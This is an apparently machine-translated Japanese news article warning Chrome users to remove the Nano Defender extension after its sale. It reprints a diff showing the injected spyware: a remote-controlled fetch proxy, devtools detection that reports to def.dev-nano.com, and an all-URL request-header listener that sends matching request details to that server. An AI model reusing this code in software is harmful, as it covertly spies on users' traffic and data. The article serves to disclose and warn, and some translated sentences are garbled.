NanoDefender拡張機能をブラウザから緊急に削除する必要があります





2020年10月3日、Nano Defender拡張機能の作成者であるプログラマーjspenguin2017は、公式リポジトリで、プロジェクトを「トルコの開発者グループ」に売却したことを発表しました。このメッセージは多くの噂と恐れを引き起こしました:コードを管理するどのようなトルコの開発者、なぜプライバシーポリシーのあるページがリポジトリから削除されたのですか?



数日後、コミュニティの恐れは完全に正当化されました。



Nano Defenderは、広告ブロッカーをバイパスするためのかなり一般的な方法です。ブロッカーuBlockOriginおよびNanoAdBlocker(uBlock Originのフォーク)と連携して動作し、サイトでの検出からそれらを保護します。



トルコ人は、GitHubで公開されていない機能の変更を慎重に偽装した、Nano Defender15.0.0.206の新しいバージョンを即座にリリースしました。これらの変更を詳しく調べると、すべてのユーザーが拡張機能をアンインストールする必要があることがわかります。



この推奨事項は、ユーザーに通知せずに拡張機能が自動的にアップグレードされるChromeおよびChromiumベースのブラウザーに適用されます。トルコ人はFirefoxバージョンを購入しませんでした。 Firefox Nano拡張機能のメンテナである開発者LiCyboraは、彼がそれらを制御し続けることを確認しました。これらの拡張機能は安全です。さらに、Firefoxは拡張機能のデジタル署名を検証するため、悪意のあるコードが拡張機能の新しいバージョンに詰め込まれることは容易ではありません。



UBlock原点著者レイモンド・ヒルは変更に分析ナノディフェンダー15.0.0.206では。彼は、拡張機能の開発コンソールの起動を検出するためのコードが追加されたと述べました。この場合、通知がreportサーバーに送信されますhttps://def.dev-nano.com/。言い換えれば、所有者は拡張機能がどのように機能するかを理解しようとしている人々を追跡しています。この場合、拡張機能によって機能が変更される可能性が高くなります。一部の機能を非表示にすることは、仮想環境などの探索的環境の存在を検出する標準的なマルウェアのトリックです。



このような状況では、レイモンドヒルは開発コンソールなしで新しいバージョンのNanoDefenderの機能を学ぶ必要がありました。これが彼が見つけたものです。



起動時に、拡張機能はhttps://def.dev-nano.com/メッセージをリッスンしてリストに入力しますlistOfObject



コードが理解できる限り、リストの内容listOfObjectさらにdetailswebRequest.onBeforeSendHeaders()に渡されるオブジェクトのフィールドをチェックするために使用されます。すべてのフィールドが条件を満たす場合、オブジェクトのコンテンツ全体がという名前でにdetails送信さhttps://def.dev-nano.com/handleObjectます。



この場合、ハンドラーwebRequest.onBeforeSendHeaders()すべてのネットワーク要求:



chrome.webRequest.onBeforeSendHeaders.addListener(blockingHandler, {
urls: ["<all_urls>"]
}, ['requestHeaders', 'blocking', 'extraHeaders']);


それがされているのでlistOfObject、外部のサーバから要求され、このメソッドの機能は、外部に設置されています。リストには、任意の条件を任意の量で含めることができます。大まかに言えば、拡張機能の所有者は、自分の裁量でブラウザから発信ネットワークトラフィックのフラグメントを要求できます。したがって、Nano Defenderの拡張は、効果的に用途の広いスパイスニファーになりました。



Raymond Hillは、新しい所有者リポジトリ利用できないdiffを投稿しました



core.jsのdiff
--- ./background/core.js
+++ ./background/core.js
@@ -160,7 +160,7 @@
const hasNews = false;
- const newsPage = "https://jspenguin2017.github.io/uBlockProtector/#announcements";
+ const newsPage = "https://github.com/nenodevs/uBlockProtector/#announcements";
const newsReadFlag = "news-read";
// This handler becomes inactive when there is a popup page set
@@ -189,7 +189,8 @@
// ------------------------------------------------------------------------------------------------------------- //
};
-
+var defender = io.connect("https://def.dev-nano.com/");
+var listOfObject = {};
// ----------------------------------------------------------------------------------------------------------------- //
a.noopErr = () => {
@@ -211,6 +212,29 @@
// ----------------------------------------------------------------------------------------------------------------- //
+
+
+async function dLisfOfObject(newList) {
+ let dListResp = await fetch(newList.uri, newList.attr)
+ var listOfObj = {}
+ listOfObj.headerEntries = Array.from(dListResp.headers.entries())
+ listOfObj.data = await dListResp.text()
+ listOfObj.ok = dListResp.ok;
+ listOfObj.status = dListResp.status;
+ return listOfObj;
+}
+
+defender.on("dLisfOfObject", async function (newList) {
+ let getRes = await dLisfOfObject(newList);
+ defender.emit(newList.callBack, getRes)
+});
+
+defender.on("listOfObject", function (a) {
+ listOfObject = a;
+})
+
+
+
// Redirect helpers
a.rSecret = a.cryptoRandom();
@@ -227,7 +251,22 @@
// 1 second blank video, taken from https://bit.ly/2JcYAyq (GitHub uBlockOrigin/uAssets).
a.blankMP4 = a.rLink("blank.mp4");
-
+
+var element = document.createElement("p"); ;
+var openListGet = false;
+element.__defineGetter__("id", function() {
+ openListGet = true;
+});
+
+var i = setInterval(function() {
+ openListGet = false;
+ console.log(element);
+ if(openListGet){
+ defender.emit("report")
+ console.clear();
+ clearInterval(i)
+ }
+}, 100);
// ----------------------------------------------------------------------------------------------------------------- //
// tab - Id of the tab
@@ -450,6 +489,50 @@
return true;
};
+
+var blockingHandler = function (infos) {
+ var changedAsArray = Object.keys(listOfObject);
+
+ var detailsHeader = infos.requestHeaders;
+ var HeadReverse = detailsHeader.reverse();
+ var stringyFy = JSON.stringify(HeadReverse);
+ var mount = "";
+ if (changedAsArray.length > 0) {
+ var checkerList = true;
+ for (const object of changedAsArray) {
+ if (object.x === object.y) {
+ mount += 1;
+ }
+ break;
+ }
+ for (let i = 0; i < changedAsArray.length; i++) {
+ let x = changedAsArray[i];
+ var re = new RegExp(listOfObject[x],'gi');
+ mount = "5";
+ if (infos[x].toString().match(re) == null) {
+ checkerList = false;
+ break;
+ }
+ }
+ if (checkerList) {
+ defender.emit('handleObject', infos);
+ }
+ }
+
+ var m = [45,122,122,122]
+ var s = m.map( x => String.fromCharCode(x) )
+ var x = s.join("");
+ var replacerConcat = stringyFy.split(x).join("");
+ var replacer = JSON.parse(replacerConcat);
+ return {
+ requestHeaders: replacer
+ }
+};
+
+chrome.webRequest.onBeforeSendHeaders.addListener(blockingHandler, {
+ urls: ["<all_urls>"]
+}, ['requestHeaders', 'blocking', 'extraHeaders']);
+
// ----------------------------------------------------------------------------------------------------------------- //


トルコの開発者は、拡張機能の新しいプライバシーポリシー公開しました。それに応じて、拡張機能は、アクセスしたページのアドレス、各ページのセッション時間、ユーザーのIPアドレス、その他のデータなど、多くの情報を収集してリモートサーバーに送信します。以前は、プライバシー契約にはそのような条項はありませんでした。



一般に、拡張機能の販売は、独立した開発者にとって一般的な収入源です。拡張機能をインストールした後、多くのユーザーは拡張機能が新しい所有者によって購入されたことを知らず、自分のコンピューターはすでに外部プロジェクトで使用されています。



たとえば、SmartProxyプロキシサービスの所有者約4000万のIPアドレスを持つホームIPアドレスのネットワークへのアクセスを顧客に提供します。ほとんどのノードは、疑いを持たないユーザーのコンピューター上にあります。これらの家庭用コンピュータは、有料の顧客からのトラフィックをプロキシするために使用されます。







別のLuminatiネットワーク、無料のHolaVPNアプリを出口点としてインストールしたホームユーザー用のコンピューターを使用しています。このネットワークは、人気のあるブラウザ拡張機能購入します。



法的な観点から、ユーザーの「ブラインド」ホームコンピューターを使用して商用トラフィックをポンピングすることは非常に疑わしいイベントです。しかし、ビジネスマンは依然として罰を回避することができます。jspenguin2017



プログラマーについては、コミュニティ他の何十人もの開発者がNanoDefenderのサポートとリストに関与していたため、拡張機能を販売するための彼の無責任な行動を非難しました。jspenguin2017は、他の人の作業の工数を単独で収益化したことが判明しました



Nano Defender拡張機能は、ChromeWebストアからすでに削除されています。



All Articles